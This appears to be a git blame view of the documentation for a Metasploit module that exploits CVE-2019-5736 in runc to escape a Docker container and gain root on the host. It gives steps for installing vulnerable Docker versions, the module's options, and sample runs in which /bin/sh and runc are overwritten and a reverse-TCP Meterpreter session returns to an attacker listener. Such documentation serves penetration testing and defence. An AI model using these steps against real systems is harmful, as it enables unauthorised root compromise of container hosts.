Files
metasploit-gs/documentation/modules/exploit/linux/local/docker_runc_escape.md
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

230 lines
8.5 KiB
Markdown
Raw Normal View History

2021-05-21 22:33:46 +02:00
## Vulnerable Application
### Description
This module leverages a flaw in `runc` to escape a Docker container and get
command execution on the host as root. This vulnerability is identified as
CVE-2019-5736. It overwrites the `runc` binary with the payload and wait for
someone to use `docker exec` to get into the container. This will trigger the
payload execution. Note that a valid session as the root user inside the
container is needed.
**WARNING**: Executing this exploit carries important risks regarding the
Docker installation integrity on the target and inside the container (see [Side
Effects](#side-effects) section).
`runc` has been [fixed][1] in version [`1.0-rc7`][2] and included in Docker
version [`18.09.2`][3].
This module has been successfully tested on Ubuntu 18.04.5 x64 and Fedora 28
x64. However, it doesn't seem to work on CentOS 7 x64. Also, it looks like the
exploit is more reliable on Fedora than Ubuntu.
### Installation
#### Ubuntu 18.04.5 x64 with Docker version 18.03.1
```
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
echo "deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
apt-get update
apt-get install docker-ce=18.03.1~ce~3-0~ubuntu
```
#### Fedora 28 x64 with Docker version 18.03.1
```
dnf remove docker docker-client docker-client-latest docker-common docker-latest docker-latest-logrotate docker-logrotate docker-selinux docker-engine-selinux docker-engine
dnf -y install dnf-plugins-core
dnf config-manager --add-repo https://download.docker.com/linux/fedora/docker-ce.repo
dnf -y install docker-ce-18.03.1.ce-3.fc28
```
### Side Effects
#### runc
The host `runc` binary will be overwritten during exploitation. The module
2021-06-07 19:05:34 +02:00
takes care of making a backup before the overwrite and restoring it when the new
2021-05-21 22:33:46 +02:00
session is established. However, it might not work as expected and something
2021-06-07 19:05:34 +02:00
could go wrong during the exploitation, which might prevent the session being
2024-04-15 11:06:50 +08:00
created. In this case, `runc` won't be restored and the host will no longer
2021-05-21 22:33:46 +02:00
be able to run Docker containers. This process will need to be done manually
somehow by following the instruction displayed during the module execution:
```
cp <path to docker-runc backup> <path to docker-runc>
```
#### shell
The shell binary inside the container (set by the `OVERWRITE` option) will also
2021-06-07 19:05:34 +02:00
be overwritten. However, the module makes a backup prior to the overwrite and
2021-05-21 22:33:46 +02:00
restores it automatically. This process is relatively safe, but something can
still go wrong along the way. Again, this will need to be done manually, using
the information displayed during the module execution:
```
cp <path to the shell binary backup> <path to the shell binary>
```
## Verification Steps
1. Install Docker (see [Installation](#installation))
1. Start msfconsole
1. Get a session as root inside a Docker container
1. Do: `use linux/local/docker_runc_escape`
1. Do: `set LHOST <ip>`
1. Do: `set LPORT <port>`
1. Do: `set session <session nb>`
1. Do: `run`
1. On the host target, run `docker exec -ti <container_id> /bin/sh`
1. You should get a Meterpreter session.
1. Verify you escaped the Docker container
1. Verify `WRITABLEDIR` on the host is empty (cleanup successful)
1. Verify `docker-runc` has been restored by running `docker-runc --version`
## Options
### OVERWRITE
2023-10-10 14:46:18 -04:00
The shell that is going to be overwritten with `#!/proc/self/exe`. This will be
2021-05-21 22:33:46 +02:00
triggered by a user running `docker exec -ti <container_id> <overwritten
shell>`. Default is `/bin/sh`.
### SHELL
The shell the module will use in scripts (must be different than `OVERWRITE`
shell). During the execution, some shell script have to be executed in the
Docker container. Since the main `OVERWRITE` shell has been overwritten,
another shell must be used. Default is `/bin/bash`.
### WRITABLEDIR
A directory where you can write files. Default is `/tmp`.
## Scenarios
## Docker version 18.03.1-ce (build 9ee9f40) on Ubuntu 18.04.5 LTS
```
2025-07-17 09:53:40 +01:00
msf exploit(linux/local/docker_runc_escape) > options
2021-05-21 22:33:46 +02:00
Module options (exploit/linux/local/docker_runc_escape):
Name Current Setting Required Description
---- --------------- -------- -----------
OVERWRITE /bin/sh yes Shell to overwrite with /proc/self/exe
SESSION 1 yes The session to run this module on.
SHELL /bin/bash yes Shell to use in exploit script (must be different than OVERWRITE shell)
WRITABLEDIR /tmp yes A directory where you can write files.
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.144.1 yes The listen address (an interface may be specified)
LPORT 4455 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux (Dropper) x64
2025-07-17 09:53:40 +01:00
msf exploit(linux/local/docker_runc_escape) > run
2021-05-21 22:33:46 +02:00
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 192.168.144.1:4455
[*] Make a backup of /bin/sh (/tmp/wSCJRb1)
[*] Overwrite /bin/sh
[*] Upload payload
[*] Writing '/tmp/pMQAa0FYW' (250 bytes) ...
[*] Upload exploit
[*] Writing '/tmp/IP8LtTm7' (8672 bytes) ...
[*] Upload loop shell script ('runc' will be backed up to /tmp/MKM9z)
[*] Writing '/tmp/k41AYY' (344 bytes) ...
[*] Launch exploit loop and wait for 300 sec.
[*] Sending stage (3012548 bytes) to 192.168.144.135
[+] Deleted /tmp/pMQAa0FYW
[+] Deleted /tmp/IP8LtTm7
[+] Deleted /tmp/k41AYY
[+] Original runc binary restored
[*] Meterpreter session 2 opened (192.168.144.1:4455 -> 192.168.144.135:51916) at 2021-05-21 19:01:03 +0200
[*] Done. Waiting a bit more to make sure everything is setup...
[+] Session ready!
meterpreter > getuid
Server username: root @ ubuntu (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer : 192.168.144.135
OS : Ubuntu 18.04 (Linux 5.4.0-72-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > [*] Shutting down Meterpreter...
```
## Docker version 18.03.1-ce (build 9ee9f40) on Fedora 28 x64
```
2025-07-17 09:53:40 +01:00
msf exploit(linux/local/docker_runc_escape) > options
2021-05-21 22:33:46 +02:00
Module options (exploit/linux/local/docker_runc_escape):
Name Current Setting Required Description
---- --------------- -------- -----------
OVERWRITE /bin/sh yes Shell to overwrite with /proc/self/exe
SESSION 1 yes The session to run this module on.
SHELL /bin/bash yes Shell to use in exploit script (must be different than OVERWRITE shell)
WRITABLEDIR /tmp yes A directory where you can write files.
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.144.1 yes The listen address (an interface may be specified)
LPORT 4455 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux (Dropper) x64
2025-07-17 09:53:40 +01:00
msf exploit(linux/local/docker_runc_escape) > run
2021-05-21 22:33:46 +02:00
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 192.168.144.1:4455
[*] Make a backup of /bin/sh (/tmp/VHR0jdR8V)
[*] Overwrite /bin/sh
[*] Upload payload
[*] Writing '/tmp/jPfX1LCnzb' (250 bytes) ...
[*] Upload exploit
[*] Writing '/tmp/aI0aDmv91K' (8744 bytes) ...
[*] Upload loop shell script ('runc' will be backed up to /tmp/IevTLfZ)
[*] Writing '/tmp/Rba74' (351 bytes) ...
[*] Launch exploit loop and wait for 300 sec.
[*] Sending stage (3012548 bytes) to 192.168.144.219
[+] Deleted /tmp/jPfX1LCnzb
[+] Deleted /tmp/aI0aDmv91K
[+] Deleted /tmp/Rba74
[+] Original runc binary restored
[*] Meterpreter session 2 opened (192.168.144.1:4455 -> 192.168.144.219:60124) at 2021-05-21 18:34:46 +0200
[*] Done. Waiting a bit more to make sure everything is setup...
[+] Session ready!
meterpreter > getuid
Server username: root @ localhost.localdomain (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer : localhost.localdomain
OS : Fedora 28 (Linux 5.0.16-100.fc28.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > [*] Shutting down Meterpreter...
```
[1]: https://github.com/opencontainers/runc/releases/tag/v1.0.0-rc7
[2]: https://github.com/opencontainers/runc/commit/6635b4f0c6af3810594d2770f662f34ddc15b40d
[3]: https://github.com/docker/docker-ce/releases/tag/v18.09.2